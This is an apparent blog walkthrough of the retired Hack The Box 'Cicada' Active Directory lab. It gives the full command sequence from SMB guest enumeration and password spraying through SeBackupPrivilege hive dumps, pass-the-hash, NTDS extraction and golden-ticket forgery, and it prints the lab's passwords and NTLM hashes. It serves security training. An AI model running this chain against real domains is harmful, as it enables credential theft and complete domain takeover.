            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Sat, 13 Jun 2026 23:06:24 GMT</pubDate>
            <atom:updated>2026-06-13T23:06:24.696Z</atom:updated>
            <content:encoded><![CDATA[<p>Retired easy box from <strong>Active Directory Exploitation </strong>path goes brrrrrrr</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*cE5jo2kz9eHymrki-H_r_g.png" /><figcaption>Cicada</figcaption></figure><p><em>Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the SeBackupPrivilege to achieve full system compromise.</em></p><p>Let’s give it a spin and see what services are available</p><pre>nmap -sV -F $IP -vv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VlcX8f7f32Y39cDF7qKqgg.png" /></figure><p>For DNS resolution, add to /etc/hosts</p><pre>echo &quot;$IP  CICADA-DC CICADA-DC.cicada.htb cicada.htb&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*eYKSkRXB1Wh9ZSbmz0-iyg.png" /></figure><p>Let’s check SMB Null sessions</p><pre>netexec smb $IP -u &#39;&#39; -p &#39;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4hlgbqgAMO6I4XK9TvYWvQ.png" /><figcaption>SMB Null Session is allowed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EyyEIozhhBBjrR4KABl8w.png" /><figcaption>SMB Null Session is allowed on user Guest</figcaption></figure><p><strong>What is the name of the non-default SMB share that is readable with guest access on Cicada?</strong></p><pre>netexec smb $IP -u &#39;guest&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiDNFyaDBCJ53aFUB6sESg.png" /></figure><pre>smbclient -L //$IP/ -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*9qTf4wyfYxLYcK7-xGd-SA.png" /></figure><p><strong>What is the name of the file found in the </strong><strong>HR share?</strong></p><pre>smbclient //$IP/HR<br>ls<br>get &quot;Notice from HR.txt&quot;</pre><p>Let’s download “Notice from HR.txt” and we discover the default password within the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*WuE79BaZXk8xExUbzMJVBA.png" /></figure><pre>cat &quot;Notice from HR.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GfwTmV4hpieRfmaDGTzSEQ.png" /><figcaption>Discovery of the company default password</figcaption></figure><p>Let’s continue to enumerate users with Netexec. We can see there is a difference between querying users and doing a RID brute force.</p><pre>netexec smb $IP -u &#39;guest&#39; -p &#39;&#39; --users<br>netexec smb $IP -u &#39;guest&#39; -p &#39;&#39; --rid-brute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X4dRkqx8dECEf5aaFVeG-Q.png" /></figure><p>Once you pull the RIDs, you should have these users filtered from the list</p><pre>Administrator<br>Guest<br>krbtgt<br>john.smoulder<br>sarah.dantelia<br>michael.wrightson<br>david.orelious<br>emily.oscars</pre><p><strong>Which user account is still using the company default password?</strong></p><pre>netexec smb $IP -u users.txt -p &#39;Cicada$M6Corpb*@Lp#nZp!8&#39; --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0jIjKi2-sCb9wGqC9mwlg.png" /><figcaption>Discovery of user utilizing company default password</figcaption></figure><p><strong>Which user has left their password in Active Directory metadata?</strong></p><pre>netexec smb $IP -u michael.wrightson -p &#39;Cicada$M6Corpb*@Lp#nZp!8&#39; --users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExOwf-AGm2F7CwcCd_9qsg.png" /><figcaption>Discovery of a user who left their password in account description</figcaption></figure><p>Enumerate shares with the new user access</p><pre>netexec smb $IP -u david.orelious -p &#39;aRt$Lp#7t*VQ!3&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkSvRj8vCO4Yoe0VPZlItw.png" /><figcaption>Discovery of additional share access</figcaption></figure><p><strong>What is the name of the PowerShell script located in the DEV share?</strong></p><pre>smbclient //$IP/DEV -U &#39;david.orelious%aRt$Lp#7t*VQ!3&#39;<br>ls<br>more Backup_script.ps1<br>:q #to exit the file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*OnlFPT5uBVCKJV8fcmE1gQ.png" /></figure><p><strong>What is the emily.oscars user’s password?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*eAQvpR_PUOXMAeFgA9tG_g.png" /><figcaption>Discovery of credentials for user emily.oscars</figcaption></figure><p><strong>Submit the flag located in the emily.oscars user’s home directory.</strong></p><pre>evil-winrm -i $IP -u emily.oscars -p &#39;Q!3@Lp#M6b*7t*Vt&#39;<br>cd ..; cd Desktop<br>dir<br>download user.txt<br>exit<br>cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDgoLajYFeY2AU5c7eh83A.png" /></figure><p><strong>What dangerous privilege does the emily.oscar user have associated with their account?</strong></p><pre>evil-winrm -i $IP -u emily.oscars -p &#39;Q!3@Lp#M6b*7t*Vt&#39;<br>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*37GpsP-dzy2bsXfC1VuhUw.png" /><figcaption>Identification of SeBackupPrivilege</figcaption></figure><p><strong>What is the Administrator user’s NTLM hash?</strong></p><pre>netexec smb $IP -u &#39;emily.oscars&#39; -p &#39;Q!3@Lp#M6b*7t*Vt&#39; -M backup_operator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DICeqOnMT44DXyvc8Hq41Q.png" /></figure><p>or the manual way</p><pre>evil-winrm -i $IP -u emily.oscars -p &#39;Q!3@Lp#M6b*7t*Vt&#39;<br>reg save hklm\sam sam<br>reg save hklm\system system<br>download sam<br>download system<br>exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SvD9uLxhjRF4mIqcYZj7gA.png" /></figure><pre>impacket-secretsdump -sam sam -system system LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*Xpjssq6h9gz9mlV3XA-iKg.png" /></figure><p><strong>Submit the flag located on the Administrator user’s Desktop.</strong></p><pre>evil-winrm -i $IP -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjuEgcKJOhqzYlKpSdhSug.png" /></figure><p><strong>Golden Ticket + Privilege Escalation</strong></p><p>Dump NTDS using Volume Shadow Service (VSS)</p><pre>netexec smb $IP -u &#39;administrator&#39; -H &#39;aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341&#39; --ntds vss</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wx5QAXCD5jiipo2N8evDfw.png" /><figcaption>Dump domain hashes</figcaption></figure><p>Identify Domain SID</p><pre>netexec ldap $IP -u &#39;administrator&#39; -H &#39;aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341&#39; --get-sid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BfrPuUah_EdSIj8wAyv2tQ.png" /></figure><p>Sync your clock with the DC</p><pre>sudo timedatectl set-timezone UTC<br><br>nmap --script smb2-time $IP<br><br>sudo date -s &quot;$TIME&quot;<br><br>date</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*yWgexni-kDQo7q9hMoLghA.png" /><figcaption>Setting time</figcaption></figure><p>Extract NTDS Offline to Get AES Keys using Impacket-WMIexec</p><pre>impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341 \<br>  cicada.htb/Administrator@$IP<br><br>reg save HKLM\SYSTEM C:\Windows\Temp\sys.hiv<br><br>reg save HKLM\SAM C:\Windows\Temp\sam.hiv<br><br>ntdsutil &quot;ac i ntds&quot; &quot;ifm&quot; &quot;create full C:\Windows\Temp\dump&quot; q q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*XSkvgoMg1fBzSohW_Pxldg.png" /></figure><p>Download files using Smbclient</p><pre>smbclient //$IP/C$ -U &#39;administrator&#39; \<br>  --pw-nt-hash 2b87e7c93a3e8a0ea4a581937016f341 \<br>  -c &#39;get Windows\Temp\sys.hiv /tmp/sys.hiv&#39;<br><br>smbclient //$IP/C$ -U &#39;administrator&#39; \<br>  --pw-nt-hash 2b87e7c93a3e8a0ea4a581937016f341 \<br>  -c &#39;get &quot;Windows\Temp\dump\Active Directory\ntds.dit&quot; /tmp/ntds.dit&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3stewGiVXwWIylZQIaFgw.png" /></figure><p>Extract AES 256 keys</p><pre>impacket-secretsdump -ntds /tmp/ntds.dit \<br>  -system /tmp/sys.hiv \<br>  LOCAL | grep -i krbtgt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*BmRyqDfbhyKh89ikRPoHRQ.png" /></figure><p>Forge Golden Ticket with AES256</p><pre>impacket-ticketer -aesKey 357f15dd4d315af47ac63658c444526ec0186f066ad9efb46906a7308b7c60c8 \<br>  -domain-sid S-1-5-21-917908876-1423158569-3159038727 \<br>  -domain cicada.htb \<br>  -user-id 500 \<br>  -groups 512,513,518,519,520 \<br>  &quot;Administrator&quot;<br><br><br>export KRB5CCNAME=$(pwd)/Administrator.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*wZT6_Uynrl_3O3AzcSCpFg.png" /></figure><p>Use the ticket and escalate privileges to NT Authority\System</p><pre>impacket-psexec -k -no-pass -dc-ip $IP cicada.htb/Administrator@CICADA-DC.cicada.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*ND1f7BCWJH_ckihpE0Jx1Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbf5a47c9d89" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>